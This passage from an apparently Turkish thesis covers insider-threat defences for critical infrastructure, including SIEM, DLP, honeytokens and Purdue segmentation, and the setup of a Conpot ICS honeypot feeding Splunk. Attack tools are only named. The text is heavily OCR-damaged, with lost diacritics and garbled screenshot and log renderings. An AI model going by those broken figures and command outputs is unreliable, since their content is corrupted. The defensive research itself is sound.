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zorunlu erisim kontroliinde yetkilendirme, merkezi bir otoritenin diizenlemelerine gore
belirlenmektedir. Rol tabanli erisim kontrolii daha ayrintili bir yaklasimdir. RBAC,
kaynaklara erisimi olan bir kurulusta kullanicilar yerine “roller” tanimlar. Daha sonra erisim
yetkisi i¢in kullanicilar rollere atanir. En az ayricalik ve gorevlerin ayriligr gibi ilkeleri
uygular. Bu yontemlerin diginda ortaya ¢ikan bir diger yontem oOzellik tabanli erigim
kontrolii (ABAC) ya da grup tabanli erisim kontrolii (GBAC) olarak adlandirilir [123]. Bu
yontemde ise kullanicilar ¢alistiklar1 zaman araligi, pozisyon ya da konum bilgisi gibi
ozelliklere bagli olarak atandiklar1 grubun kaynaklarina erisirler. Diger yontemlere gore

daha dinamik bir yontemdir.

Bu kapsamda kritik altyapilarda 6zellikle SCADA yazilimlarina her kullanici kendi hesap
bilgileri ile giris saglamali, erisimler kontrol altinda bulundurulmali, kayit altina alinmali ve
HMI cihazlart kullanict profillerine gore yetkilendirilmelidir. SCADA sunucusu ve Veri
tarih¢ilerine erisim sinirl sayida kiside bulunmali, her kullanici kendi hesap bilgileri ile giris
saglamali ve yapilan islemler kayit altinda tutulmalidir. Ozellikle genis alana ya da internete
erisim saglayan cihazlarda mutlaka erisim kontrolii uygulanmali, yetkisiz kisilerce
kullanilamamalidir [124]. Literatiirde kritik altyapilarda operatorlerin davranislarina
endeksli olarak olusturulan giliven tabanli erisim kontrol sistemi c¢alismalar1 da

bulunmaktadir [125].

Gilivenlik olay yOnetim sistemleri

Bilgi teknolojilerinde oldugu gibi operasyonel teknolojilerdeki cihazlar da yapilan islemler
sonucunda log kayd: tiretmektedirler. Bu kayitlar kaynak kullanim bilgileri, igletim sistemi
kayit dosyalari, dosya ve klasor erisim bilgileri, hata raporlar1 ve giivenlik cihazlarina ait
kayitlar1 igerebilmektedir. Tim bu kayitlar1 tek bir merkezde toplayarak analiz eden,
yorumlayabilen ve alarm iiretebilen sistemler ise SIEM (security information and event
management) olarak adlandirilmaktadir. Operasyonel teknolojilerin, bilgi teknolojilerine
gore bu konudaki dezavantaji ise zaman-kritik sistemler olmasidir. Kayit dosyalarimin
toplanmas1 sistemlerde fazladan kaynak tiiketimine neden oldugundan cihazlarin agir
caligmasina sebep olabilmektedir. Bu nedenle kritik altyapilarda ve endiistriyel kontrol
sistemlerinde alinan giivenlik tedbirleri PLC, RTU, HMI, IED gibi cihazlarin yiikiini

artirmamalidir.
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Bununla beraber SIEM sistemleri kullanilarak kullanict aktiviteleri izlenebilmekte ve buna
dayali kullanici davranig analizleri (user activity monitoring) yapilabilmektedir [112].
Ornegin, normalde giindiiz vardiyasinda calisan bir operatdriin gece saatlerinde agda
yarattig1 trafik, bir kullanicinin bilinen kullanim kalibinin diginda biiyiik boyutlu bir dosya
transfer islemi ya da bir ¢alisanin daha 6nce hi¢ kullanmadigi bir yazilimi indirmesi ve
kurmasi gibi davraniglar kotii niyetli girisimlerin gostergesi olabilir. Kullanici davraniglarini
izlemek amaciyla agsagida sunulan parametreler kullanilmaktadir:

e Trafik bilgisi (tiiketilen bant genisligi, kullanilan protokoller),

e Oturum agma-kapama saatleri,

e Ziyaret edilen web siteleri,

e Kullanilan araglar,

e Oturum agilan bilgisayarlar,

¢ Giris yapilan dahili sunucu vb.

SIEM’ler siklikla diger yontemler ile beraber kullanilirlar [126-127].

Uc nokta koruma ve veri kacagi onleme sistemleri

Diinyay1 sarsan Snowden ve Manning vakalarinda oldugu gibi bir¢ok kritik altyap1 kurumu
veri sizintist yasamiglardir. Kritik altyapilarda meydana gelen veri sizintilart ulusal giivenligi
tehdit etmekle beraber fikri miilkiyet hirsizlig1 gibi olaylar da biiyiik maddi kayiplara neden

olmaktadir.

Ug nokta koruma ve veri kacagi dnleme sistemleri genellikle u¢ noktalarda bulunan bir ajan
yazilim vasitasiyla kullanict aktivitelerini takip eder ve bir merkezi sunucuya bilgi
gonderirler. Bu aktiviteler dosya transfer iglemleri, harici bellek kullanim islemleri, dosya
yiikleme ve indirme islemleri gibi eylemlerden olusabilir. Bu sistemler ayrica u¢ noktalarda
zararli yazilimlarin tespiti ve engellenmesi maksadiyla antiviriis ve igletim sistemi

zaafiyetlerini tarayan yazilimlar da barindirabilmektedirler.

Kritik altyapilarda bulunan kritik verilerin erisimlerinin kontrol edilmesi, dolagimdaki
verinin takip edilmesi ve kuruma veri girig/cikisi olabilecek noktalarla ilgili net politikalarin

belirlenmesi i¢ kaynakli sizintilarin 6nlenmesine yonelik alinabilecek 6nemli tedbirlerdir.
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Ayrica hassas veriler sifrelenerek kotii niyetli kisilerin eline gegmesi engellenebilmektedir
[128].

Uzun yillardir i¢ tehdit {izerinde arastirmalarini siirdiiren Carnegie Mellon Universitesi bu
konuda hazirladig1 teknik dokiimanda [129], OpenDLP adl agik kaynak veri kagagi dnleme
sisteminin kullanimindan bahsetmistir. Tasinabilir USB belleklerin denetimi amaciyla
Active Directory grup politikalarinin (GPO) kullanimini 6nerilmis ve her iki kaynaktan da

tiretilecek kayitlarin bir arada degerlendirilmesi gerektigi vurgulanmustir.

Bal kiipleri ve tuzak kavitlar

Bu yontem o6zellikle aktif kesif asamasindaki saldirgan1 kendine gekerek tespit edilmesini
ve saldirinin daha baglamadan sonlandirilmasini hedeflemektedir. Bu yiizden, baz1 tuzak
kayitlar, bal kiipli u¢ noktalar ve aldatici veriler kullanmaktadirlar. Yapilan ¢alismada [94]
aldatma yontemleri saldir1 hazirlig1 safhasi ve somiirme/veri sizintist asamasi olarak iki ana

baslikta toplanmustir.

Saldirt hazirligi safhasi

DNS bal kaydi, bir bal kiipii teknigi olarak kurumun DNS sunucusunda gercekte
kullanilmayan sahte DNS kayitlar1 olusturulmasidir. Saldirganlar bilgi toplama asamasinda,
bu adresleri ele gecirip aktif kesif asamasina gectiklerinde, aslinda var olmayan bu adreslere

gelen istekler i¢in alarm tiretilerek saldir1 6ncesinde kesif yapilabilmektedir.

Web sunucu bal kaydi, kurumun web sitesi iizerinde iiretilecek gériinmez linkler yardimiyla
olusturulmaktadir. Arama motoru botlar1 tarafindan okunan ve web sunucusunda
indekslenmesi  istenmeyen  klasorleri  barindiran  robots.txt dosyast  {izerinde
olusturulabilecek ve aslinda var olmayan sahte klasorler (/admin, /login gibi) ile normal
kullanicilarin erismeyecegi alanlara erisim olmasi durumunda alarm irettirilerek daha kesif
asamasinda saldir1 tespiti yapilabilmektedir. Ayrica sahte HTML yorumlar1 da ( <!-- test
hesabi:admin, parola:password --!> gibi ) bu yontem i¢in ek olarak kullanilabilmektedir
[94].
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Somiirme/veri sizintist asamasti

Internette kara delikler olarak da adlandirilan, kurumun sahip oldugu IP araliginda bulunan
fakat hicbir sunucu ya da istemci bilgisayarin bulunmadigi aglar “kara aglar” olarak
isimlendirilmektedir. Bu aglara mesru bir kullanict yanlig bir IP adresi girmesi sonucu da

baglanabilir fakat aga gelen yogun istekler siipheli davranis olarak siniflandirilmalidir.

Bal dosyalari, kurumun dosya sunucular1 ya da agdaki herhangi bir konumda saldirgan i¢in
cekici gorlinebilecek ama aslinda hassas bilgi barindirmayan dosyalar yaratilabilmektedir.
Bu tarz dosyalar ya mevcut bir dosyanin degistirilmesi ile ya da inandiriciligi yiiksek bir
igerik kullanilarak olusturulabilmektedir. Ornegin dosya ismi password.docx ya da
yeni_yatirimlar.pdf olabilir. Ayrica yem dosya olusturulurken sahte damgalar (GIZLI, COK
GIZLI gibi) kullanilarak inandiricilik artirilabilmektedir. Dosya sistemi izlemesi ya da bir
kod parcacigi kullanilarak bu tarz erisimler kayit altina alinmakta ve alarm iiretilmektedir.

Boylece iceriden de olsa bir veri sizintis1 onceden tespit edilebilmektedir [94].

Bal kiipleri ayrintili olarak ¢alismanin 5. boliimiinde agiklanmistir.

Diger

Kritik altyapilar hem bilgi teknolojisi hem de operasyonel teknoloji aglarini bir arada
bulundururlar. Operasyonel teknoloji giivenliginin saglanmasi ise Oncelikle bilgi
teknolojilerinden ge¢mektedir. Ciinkii saldirganlar operasyonel teknolojilere ulagsmak i¢in

bilgi teknolojilerini bir atlama noktasi olarak kullanmaktadirlar [130].

Bu durumun bir 6rnegi 2015°te Ukrayna’da 225 000 kullanicinin elektriginin kesilmesine
sebep olan siber saldirida goriilmiistiir. Saldirganlar hedefli oltalama saldirisi ile 6nce bilgi
teknolojilerine sizmis, ardindan BlackEnergy 3 zararli yazilimimi kullanarak tus kayit
ediciler sayesinde kullanict hesap bilgilerini elde etmis ve operasyonel teknoloji aglarina

sizmiglardir [131].

Bu maksatla kritik altyapilarda mutlaka ag segmentasyonu uygulanmalidir. BT ve OT aglari
ayr1 segmentler halinde konumlandirilmali ve mutlaka giivenlik duvari ile ayrilmalidir. Bu

maksatla Purdue Universitesi tarafindan gelistirilen ve ISA (International Society of
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Automation) tarafindan endiistriyel kontrol sistemlerine uyarlanan Purdue Model kritik
altyapilarda kullanilabilecek 6rnek bir modeldir (EK-1). Purdue modelde kritik altyap1 bilgi
ve operasyonel teknolojileri 6 ag segmentine ayrilmistir [132]:

e Kurumsal DMZ

e Yerel Kurumsal Ag

Kontrol DMZ

Supervisory

Lojik (Kontrol)

Saha & Enstriimanlar

Bu segmentler aras1 gecislerde mutlaka giivenlik duvari bulundurulmali ve sadece miisaade
edilen kullanici, makine ve servislerin geg¢isi miimkiin olmalidir. Béylece 6rnegin kurumsal
agda yetki sahibi bir kullanici, kontrol aginda bulunan bir HMI’ya miidahale edemeyecektir.
Dolayisiyla kurum igindeki kotii niyetli kullanicilarin yetkisiz erisim olanaklar1 azaltilmig

olacaktir.

Bununla beraber kritik altyapilarin 6zellikle kurumsal ag tarafinda uygulanacak Active

Directory benzeri dizin hizmetleri ile hem erisim kontrolii ve kimlik yonetimi saglanabilir

hem de olusturulacak grup ilkeleri (GPO) ile ¢ok esnek ve hassas bir sekilde istenen

kisitlamalar uygulanabilir. Grup ilkeleri ile i¢ kaynakli saldirilara yonelik kullanicilarin;

e CD/DVD ve USB gibi tasinabilir depolama ortamlari kullanimi kisitlanabilir; eger
kisitlanmak istenmiyorsa kullanimlarmin denetlenmesi amaciyla olay kayitlarindan
(event logs) faydalanilabilir,

e Istenmeyen herhangi bir yazilim galistirmas1 engellenebilir (AppLocker),

e Maskeli saldirganlara kars1 belirli bir siire oturumu agik kalan kullanicilarin hesaplarinin
kilitlenmesi saglanabilir,

e Kullanicilara parola karmasiklik ilkeleri uygulanabilir ve belirli siirelerle degistirmeleri
saglanabilir,

e Oturum agma yetkisi belirli saat araligi ile kisitlanabilir,

e Agdaki herhangi bir klasorii bilgisayarina atamasi engellenebilir.

Aliabilecek bu tedbirler ile bircok i¢ kaynakli saldirinin Oniine ge¢cmek miimkiin

olabilmektedir.
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Bununla beraber kritik altyapilardaki i¢ tehditlere karsi literatiirde makine 6grenmesi ve
biligsel zeka yontemlerinin de kullanilabilecegini belirten galigmalar da mevcuttur [133-

134].

Endiistriyel kontrol sistemleri gibi ¢cok katmanli mimarilerde derinlemesine giivenlik (depth-
in-defense) anlayis1 6nem kazanmaktadir. Derinlemesine giivenlik, alinan siber savunma
tedbirlerinin herhangi bir yoldan atlatilabilecegi kabul edilerek her katmanda, o katmanin

ozelliklerine ve bulundurdugu varliklara gore 6zel 6nlemler almaktir [132].

Insan kaynakli tehditleri azaltabilmenin en &nemli yollarmndan biri de kullanicilarin
farkindalik sahibi olmalar1 ve diizenli olarak egitilmeleridir. Egitimlerin asil amaci
kullanicida davranmig degisikligi yaratabilmektir. Kullanicilarin pasif olarak dinleyecekleri
egitimler yerine, kendilerinin de katilabilecegi tatbikat (oltalama vb.) tarz1 faaliyetler daha
etkili olmaktadir. Farkindalik ve egitimler sadece bilgisiz ve dikkatsiz kullanicilara yonelik
gibi goriinse de giivenlik ihlallerinin neticesinde dogacak sorumluluklarin belirtilmesi kotii

niyetli kullanicilara kars1 da caydiricilik saglamaktadir.
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4. UYGULAMA VE ANALIZ

Yapilan ¢aligsmada kritik altyapilarda ve endiistriyel kontrol sistemlerinde kullanilabilecek
bir bal kiipii uygulamas1 6nerilmistir. Onerilen yontemde, kurum iginde konumlandirilan bal
kiipii uygulamasi gergek bir PLC gibi ag paketlerine yanit vermekte, ayn1 zamanda trafik
bilgisi i¢in log iiretmektedir. Uretilen kayitlar daha sonra bir SIEM uygulamasi olan
Splunk’a gonderilerek burada sonuglar analiz edilmekte ve muhtemel saldirgana ait bilgiler
elde edilmektedir. Ayrica Splunk {izerinde gerceklestirilen ayrintili sorgular ile alarmlar ve

ayrintili raporlar tiretilmektedir.

Onerilen ydntemin test edilmesi amaciyla fakli EKS protokolleri iizerinde test senaryolart
gelistirilmis ve sonucunda bal kiipi uygulamasinin i¢ tehditlere karsi kullanim etkinligi

degerlendirilmistir.

4.1. Bal Kiipleri

Bal kiipleri gergek sistemin Ozelliklerini taklit ederler ve saldirganlar1 kendilerine ¢ekerek
saldirilarin kesif asamasinda tespit edilebilmesini hedeflemektedirler. Bal kiiplerinde
iretilen log kayitlarindan faydalanilarak saldirganlarin teknik, taktik ve prosediirleri (TTP)
ortaya ¢ikarilabilmektedir [135]. Bu nedenle bal kiiplerinin sahip olmas1 gereken iki 6nemli
ozellik bulunmaktadir: ikna edicilik ve cezbedicilik. Bal kiipii, saldirgan tarafindan tuzak
olarak anlagilmamali fakat ayni zamanda saldirgan1 da fiizerine ¢ekebilecek gerekli

acikliklar1 barindirmalidir.

Bal kiipleri literatiirde distik-etkilesimli ve yliksek-etkilesimli olmak iizere ikiye
ayrilmaktadir [136]. Aralarindaki fark, saldirganin bal kiipii iizerinde neler yapabilecegi ile
ilgilidir.

Yiiksek etkilesimli bal kiipleri genellikle gercek cihaz, isletim sistemi ve uygulamalari
kullanmaktadirlar. Yiiksek-etkilesimli bal kiipiiniin faydasi, saldirgan gercek sistemde
uygulayabilecegi her seyi yiiksek-etkilesimli bal kiipiinde de uygulayabilecektir. Boylece
saldirganin tiim davranislar1 yakalanabilecek ve analiz edilebilecektir. Fakat bu tip bal

kiipleri saldirganin sizma girisimleri sonucu kolayca zarar gorebilirler. Bu durumda yeniden



86

kurulmalar1 gerekir. Hatta nadiren olsa da bazi ataklar bal kiipliniin geri dondiiriilemez

sekilde kullanim dis1 kalmasina neden olabilmektedir [135].

Diisiik-etkilesimli bal kiipleri ise genellikle Linux gibi bilinen bir isletim sistemi {izerine
kurulmaktadirlar. Gergek sistemin tiim 6zelliklerini ihtiva etmese de saldirganin etkilesime
gecmesini saglayan altyapiyr biinyelerinde barindirmaktadirlar. Avantajlarindan biri de
kolay kurulmalaridir. Honeyd, bu tipte bal kiipiine bir 6rnek olarak verilebilir. Diisiik-

etkilesimli ve yiiksek-etkilesimli bal kiiplerinin 6zellikleri Cizelge 4.1’de sunulmustur [136].

Cizelge 4.1. Bal kiipii tipleri [136]

Diisiik etkilesimli Yiiksek etkilesimli
Gergek isletim sistemi ve hizmetleri taklit | Gergek isletim sistemi ve hizmetler
eder. kullanilir.

Yiiklenmesi ve kurulumu kolaydir. | Kurulumu ve kullanimi karmasiktir.
Genellikle bilgisayar iizerine yiiklenebilen
bir yazilimdir.

Saldirganin yapip yapamayacagi seyler | Saldirganlar gercek isletim sistemine
taklit  edilen  hizmetler tarafindan | miidahale edebildikleri igin risk yiiksektir.
belirlendiginden diistik risk tagir.

Asil islem verisinin bir boliimiinii ve sinirli | Yeni araclar, iletisim yollart ya da
etkilesim verisi ele gecirir. saldirganin tus vuruslart gibi ¢ok daha
fazla bilgiyi ele gecirebilir.

4.1.1. Kritik altyapilarda kullanilabilecek bal kiipleri

SCADA HoneyNet Project

SCADA aglarina yonelik bilinen ilk bal kiipii Cisco Systems calisan1 iki kisi tarafindan
ortaya konmustur. PLC benzetimi yapan ve honeyd ile beraber calisan bir modiil
hedeflemislerdir. FTP, http, Modbus TCP ve Telnet gibi protokolleri icermektedir [137].

PLC HoneyNet Project

Bir bagka bal kiipii ag1 projesi, bir aragtirma ve danisma sirketi olan Digital Bond tarafindan
gelistirilmistir. Proje kapsaminda PLC bal kiipii olan ve trafigi toplayan bir giivenlik duvari

bal kiipiinden olusan iki adet sanal makine bulunmaktadir [135]. Digital Bond tiim igerigini
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Dale Peterson adl1 arastirmacinin sitesine tasidigindan dolay1 bu ¢alismanin yapildig: sirada

s0z konusu proje erisilebilir degildir [138].

Conpot

Conpot, dagitimi, degistirilmesi ve genisletilmesi kolay, diisiik etkilesimli ve acik kaynak
kodlu bir endiistriyel kontrol sistemleri (EKS) bal kiipiidiir. Bircok EKS protokoliinii
barindirmakta ve bu sayede saldirgam1 ikna edebilecek biliyiikk ve karmasik bir yapi
yaratilabilmektedir. Aldatic1 yetenekleri gelistirmek ve ayni zamanda saldirt yiizeyini
arttirmak i¢in 0zel bir insan-makine arayiizii olusturma imkani saglanmistir. Protokoller
eksiksiz olarak temsil edildigi i¢in, Conpot'a insan-makine araytizii kullanilarak erisilebilir
ya da gercek donanimlarla genisletilebilir. Conpot, Honeynet Projesi ¢atis1 altinda

gelistirilmektedir [139].

Conpot bu ¢aligmanin gergeklestirildigi sirada (versiyon 0.6.0) 6 farkli sablon icermektedir.

e [PMI: Basit bir IPMI (akilli platform y6netim arayiizii) cihazi yaratir.

e |EC-104: IEC 60870-5-104 standardina dayanan bir Siemens S7-300 cihazi olusturur.

o Kamstrup 382: Kamstrup 382 modeli bir akilli saya¢ emiilasyonudur.

e Proxy: Vekil bilgisayar islevi sunan 6rnek sablondur.

e Default: Siemens S7-200 cihazinin benzetimini yapar. http, SNMP, Modbus, S7comm
protokollerini barindirir.

e Guardian AST: Guardian AST gaz tanki sensorii benzetimidir.

SCADA ve endiistriyel kontrol sistemlerine yonelik bal kiipii ¢aligmalar1 Cizelge 4.2°de
sunulmustur [140].

4.2. Deney Ortanmm

fcra edilen ¢alismada bal kiipii olarak Conpot (versiyon 0.6.0) kullanilmustir. Bal kiipii
Ubuntu 18.04 isletim sistemi {izerine kurularak SCADA ag1 i¢inde konumlandirilmigtir. Bal
kiipii bilgisayar1 Windows 10 Professional konak bilgisayar1 iizerinde VMware Workstation
Pro sanallagtirma programi kullanilarak sanal makine seklinde olusturulmustur. Sanal
makinanin ag ayar1 bridged secilerek fiziksel aga dogrudan baglanmasi ve konak

bilgisayardan farkli bir IP adresine sahip olmasi saglanmistir. Boylece bal kiipii uygulamasi
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Cizelge 4.2. Kritik altyapilarda bal kiipii ¢alismalari

Calsma Bal kiipii Test Yontem Bulgular
Yatagi
[135] Conpot Syslog, SNMP, MODBUS, Gegmiste «hava bosluklu»
Splunk HTTP olarak tasarlanan SCADA
aginda bal kiipii uygulamasi
degerlendirilmistir.

[136] Digital Vmware, Telnet, FTP, SNMP, Bal kiipii kurulumu aktif bir

Bond Snort HTTP, Modbus, sekilde incelenmis fakat
Honeynet VxWorks Debugger  diisiik etkilesim
saglanmistir.

[140] Conpot Amazon SNMP, MODBUS, Conpot etkili bir SCADA

Micro HTTP bal kiipii olmasinin yaninda,
Instance analiz konusunda
gelistirilmelidir.

[141] Ozel Snort HTTP Hedefli saldirilara yonelmis
ve saldirganin yerini dogru
bir sekilde tespit etmistir.

[142] Linux Vmware HTTP, HTTPS, Siemens PLC’nin etkin bir

tabanli SNMP, ISO-TSAP simiilasyonu olmakla
beraber yiiksek etkilesimli
ortamda saldirgan
davraniglarint  da  kayit
etmistir.

[143] CryPLH  Vmware HTTP, HTTPS, Linux kullanilarak Siemens

SNMP, ISO-TSAP PLC etkili bir sekilde taklit
edilebilmistir.

[144] Honeynet Amazon Modbus, ICCP, Shodan ile bulunan uglardan

EC2, Snort DNPS3, IEC-104, faydalanilarak diger uglara
SNMP (v1/2/3), ulasilmistir.
TFTP, XMPP’den

faydalanan bal kiipii
agl

agdaki kullanicilarin bakis acisindan konak bilgisayardan bagimsiz bir cihaz goriiniimiinde
olmaktadir. Gergeklesen iletisime bagli olarak bal kiipiinde iiretilen kayitlar (log) daha sonra
bir SIEM iiriinii olan Splunk’a gonderilmektedir. Calismada Splunk Enterprise (versiyon

8.0.0) kullanilmistir. Splunk Windows 10 Professional {izerinde kurulmustur.

Test senaryolarin1 gerceklestirmek amaciyla saldir1 bilgisayarinda Ubuntu 18.04 isletim
sistemi kullanilmistir. Ag taramalar1 nmap araci kullanilarak gergeklestirilmistir. Saldirilarin

gerceklestirilmesi maksadiyla ScadaStrangeLove tarafindan gelistirilen Plescan yardimci
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programi ve Metasploit Framework sizma testi aracinda bulunan modbusclient istismar kodu

kullanilmigtir. Deney elemanlar1 Cizelge 4.3’te sunulmustur.

Cizelge 4.3. Deney elemanlari

Deney Elemam Arag Versiyon Isletim Sistemi
Bal Kiipii Conpot 0.6.0 Ubuntu 18.04 (Sanal)
SIEM Splunk Enterprise 8.0.0 Windows 10 Professional
Nmap
Saldirgan modbusclient - Ubuntu 18.04
plcscan

Yapilan ¢alismada bal kiipii tipik endiistriyel kontrol sistemi ag1 igerisinde
konumlandirilmistir. Dolayisiyla operasyonel teknolojilerin bulundugu agda RTU ve PLC
cihazlarin yer aldig1 Lojik seviyede bulunmaktadir (EK-1). SIEM iiriinii olan Splunk ise bilgi
teknolojilerinin bulundugu agda ve Yerel Kurumsal Ag segmentinde yer almaktadir. Bal
kiipiine gelen isteklerin bulundugu log dosyalarinin Splunk’a aktarilmasi i¢in kurum igi

giivenlik duvarinda gerekli izinler saglanmistir. Deney ortamini gosteren topoloji Sekil

4.1°de gosterilmistir.

Insan-makine Is istasyonlar Saldirgan

Seviye 1: Lojik Sicaklik ARaryakif]
arayiizii ! E

RTU/PLC is"

ivit

o

Tarihcisi Sunucusu

‘ Seviye 2: Supervisory ‘ OT A&
S

4_

onpot Endiistriyel
Balkupu Ekipman

______________ N
12l Kat .
ﬁ' — Seviye 4: Yerel Kurumsal Ag ) IM_{ zleme Katmani__| |
= = L'\q Toplayic
E| IDS wessss | QL ' EI Splunk>
= MalSunucu  DNSSunucu DHCP Sunucu NTPSunueu 7 O oo e s J

Sekil 4.1. Deney ortami1 ve test senaryosu topolojisi
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4.2.1. Conpot kurulumu

Isletim sistemi {izerinde Conpot uygulamasi kurulmadan &nce bazi bagimliliklarin
yiiklenmesi gerekmektedir. Bu maksatla asagidaki komutlar ¢alistirilir [145-147].
$ sudo apt-get install git libsmi2ldbl smistrip libxsltl-dev
python3.6-dev libevent-dev default-libmysqlclient-dev

Linux tizerindeki araglarin ihtiya¢ duydugu python bagimliliklarini birbirinden ayirabilmek
i¢in virtualenv aracindan faydalinilir.
$ virtualenv --python=python3.6 conpot
Ortam aktif hale getirilir.
$ source conpot/bin/activate
Bagimliliklar ve ortamda bulunan araglarin giincellenmesi saglanir.
$ pip install --upgrade pip
$ pip install --upgrade setuptools
$ pip install cffi
Python paket ambar1 (PyPI) kullanilarak Conpot yiiklenir.
$ pip install conpot
Uygulama kurulumu test edilir. Conpot bal kiipii uygulamasi ¢aligtirilir ve mevcut sablonlar
(templates) asagidakikomut ile goriintiilenebilmektedir.
$ conpot -f
$ conpot -f -t default

komutu ile default sablon baslatilir. Hizmete agilan servisler ve portlar Resim 4.1°de

goriilmektedir.

2020-02-18 :32:55,339 Modbus server started on:
2020-02-18 ] ] ,340 S7Comm server started on:

( .0", 5020)

(
2020-02-18 ] ] , 341 HTTP server started on: ('0.

0

§

0.

0.0.0', 10201)
0.0', 8800)
2020-02-18 :32:55,560 SNMP server started on: (" 0.0', 16100)
2020-02-18 :32:55,563 Bacnet server started on: .0.0.0", 47808)
2020-02-18 :32:55,564 IPMI server started on: ('0.0.0.0', 6230)

2020-02-18 ] ] ;564 handle server PID [11979] running on ('0.0.0.0"', 44818)

2020-02-18 :32:55,564 handle server PID [11979] responding to external done/disable signal in object 140710599

0
0.
0.
0
0

, 565 FTP server started on: ('0.0.0.0', 2121)
,565 Starting TFTP server at ('0.0.0.0', 6969)

Resim 4.1. Conpot default sablonunun baslatilmasi

Bal kiipii bilgisayar1 tizerinde farkli bir terminal agilarak hizmete agilan servisler ve portlar

Resim 4.2°de gosterilmistir.
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ubuntu@ubuntu:~S sudo lsof -{ -n -P
[sudo] password for ubuntu:
AN PID USER FO TYPE DEVICE SIZE/OFF NOD
598 systend-resolve IPv4 35570 .
598 systemd-resolve IPv4 35571 127.0.0.53:53 (LISTEN)
713 avaht IPv4 36768 *:5353
713 v IPV6 36709 *:5353

713 14u IPv4 36710 0P *:33252
713 IPV6 36711 UOP *:60790
916 00 u IPv4 41525 ) UDP *:68
1Pv6  $2632 P [::1]:631 (LISTEN)
1Pvd it P 127.0.0.1:631 (LISTEN)

i
onpot 8 wbuntu £ t P *:10001 (LISTEN)
onpot . ubuntu L 9895 P *:5020 (LISTEN)
! ubuntu #:10201 (LISTEN) L 1 =
wbunty 9 ~ :s080 (L1sten) DAlKUpu uygulamasi
ubuntu t D 16106 l l 'tl 2
ubunty 47808 ile acilan portla:
wbunty 1 659906 uoP 6230
ubuntu 69901 818 (LISTEN)
wbuntu 144 69902 P 21 (LISTEN)
ubuntu L 69963 UoP 9
ubuntu 69941 t P 192.168.1.29:8080->192.168.1.21:27261 (ESTABLISHED)

Resim 4.2. Bal kiipii bilgisayarinda agik portlarin goriintiilenmesi

4.2.2. Conpot bal kiipii uygulamasinin deney ortamu icin yapilandirilmasi

Resim 4.1°de goriildiigii gibi Conpot uygulamasi Modbus, Bacnet, S7comm gibi endiistriyel
kontrol sistemleri protokollerini baglatmistir. Fakat uygulama bu protokolleri standart
portlarinda baglatmamaktadir. Bu maksatla uygulamanin bulundugu bilgisayarda port
yonlendirme yapilarak 6zellikle Modbus ve S7comm protokollerinin standart portlar1 olan
502 ve 102 portlarinda hizmet vermesi saglanmistir. Yapilan iglem bal kiipli uygulamasinin
inandiriciligmi artiracak ve saldirganin bal kiiptine ulagsmasini kolaylastiracaktir. Port
yonlendirme amaciyla iptables araci kullanilmistir.

$ sudo iptables -t nat -I PREROUTING -p tcp --dport 102 -j

REDIRECT --to-ports 10201

$ sudo iptables -t nat -I OUTPUT -p tcp -o lo --dport 102 -j

REDIRECT --to-ports 10201

$ sudo iptables -t nat -I PREROUTING -p tcp --dport 502 -j

REDIRECT --to-ports 5020

$ sudo iptables -t nat -I OUTPUT -p tcp -o lo --dport 502 -j

REDIRECT --to-ports 5020

Deney ortaminda Conpot uygulamasindaki default sablonu (template) kullanilacaktir. Fakat
sablonda kullanilan Siemens S7-200 PLC cihazinin eski bir cihaz oldugu

degerlendirildiginden ve saldirgan tarafindan fark edilmemesinin saglanmasi gerekgesiyle
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cihaza ait konfigilirasyon bilgileri daha yeni bir cihaz olan S7-1200’¢ ait bilgiler ile
degistirilmistir. Uygulamanin agik kaynak kodlu olmasi mevcut endiistriyel kontrol

sistemine uyum saglama konusunda esneklik saglamaktadir.

Siemens S7-200 ile alakali bilgiler ve tanimlamalar S7-1200 ile degistirilmistir. Iletisim
protokolii modiilii, islemci (CPU) ve diger modiil bilgileri xml dosyasinin diizenlenmesi
sonucu S7-1200’e gore yapilandirilmistir. Tesis adi ve sistemin adi iste§e gore

yapilandirilabilir.

PLC’ye ait giincellenen bilgiler tarayici goriintiilenerek test edilmistir. PLC’nin S7-1200

olarak ve sistem adinin FBE olarak goriintiilendigi Resim 4.3’te goriilmektedir.

ED Owerview - Siemens, SIMATIC, S b o -+
Owverview - Siemens, SIMATIC,
ST-1200
Status:
Current timme: 21:43:34
Swvstem uptime: 25 timeticks (deciseconds)

Resim 4.3. Giincellenen PLC bilgilerinin tarayicida goriintiilenmesi

4.2.3. Splunk kurulumu ve yapilandirilmasi

Splunk, bircok kaynaktan gelen log kayitlarini gergek zamanli olarak analiz edebilen,
kendine 6zel sorgu diliyle sorgulama yapmaya izin veren ve ayrintili raporlamalar sunabilen
bir SIEM iiriintidiir. Windows tizerinde Splunk .msi uzantili bir dosya yardimai ile kurulmakta
ve web arayiizli araciligiyla yonetilmektedir [148]. Kurulum yapildiktan sonra 8000 portu

iizerinden yOnetim arayiizline ulasilmaktadir.

Kurulum tamamlandiktan sonra Conpot bal kiipii uygulamasina ait log dosyalariin gergek
zamanl olarak izlenmesi saglanmistir. Bu maksatla, bal kiipii uygulamasinin oldugu
bilgisayar ile Splunk kurulu bilgisayar arasinda dosya paylasim sistemi olusturulmustur.

Boylece Splunk uygulamasi iizerinden ilgili dosya “Add Data” segenegi ile tanimlanmis ve
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gercek zamanli olarak izlenmesi, analiz edilmesi ve sorgu yapilabilmesi saglanmistir.

Splunk iizerinde log dosyasi girilirken belirlenmesi gereken en onemli etken “index”
secenegidir. “Index” verilerin kayit edildigi dizinlerdir. Farkli log dosyalar1 farkli “index”
secenekleri ile birbirinden ayrilmaktadir. Ornegin web sitesine ait veriler ile giivenlik
kayitlar1 ayr1 “index” alanlarinda bulunabilir. Boylece sorgular daha hizli ve amaca yonelik
olmaktadir. Ayrica her “index” i¢in farkli kullanic1 yetkilendirmeleri yapilabilmekte ve
saklanma siireleri farkli olarak belirlenebilmektedir. Yapilan ¢alismada Splunk tizerinde
“conpot” isimli bir “index” olusturulmustur ve Conpot log dosyalar1 bu alanda

tanimlanmaktadir.

Belirlenmesi gereken bir diger dnemli husus da “sourcetype” segenegidir. Bu segenek
verinin ne sekilde yorumlanmasi gerektigini belirler. Splunk log dosyasinin tipine gore
veriyi belirli alanlara ayirmaktadir. Istege bagli olarak bosluk ya da tirnak isareti gibi
belirtegler kullanilarak verinin nasil yorumlanacagi 6zel olarak girilebilir. Resim 4.4’te
goriildiigii iizere Conpot log dosyalarin1 zaman ve olay bilgisi seklinde dogru bir sekilde

yorumlamaistir.

4.3. Test Senaryosu

3. boliimde agiklandig: tizere bir siber saldir1 kesif/bilgi toplama asamasi ile baglamaktadir.

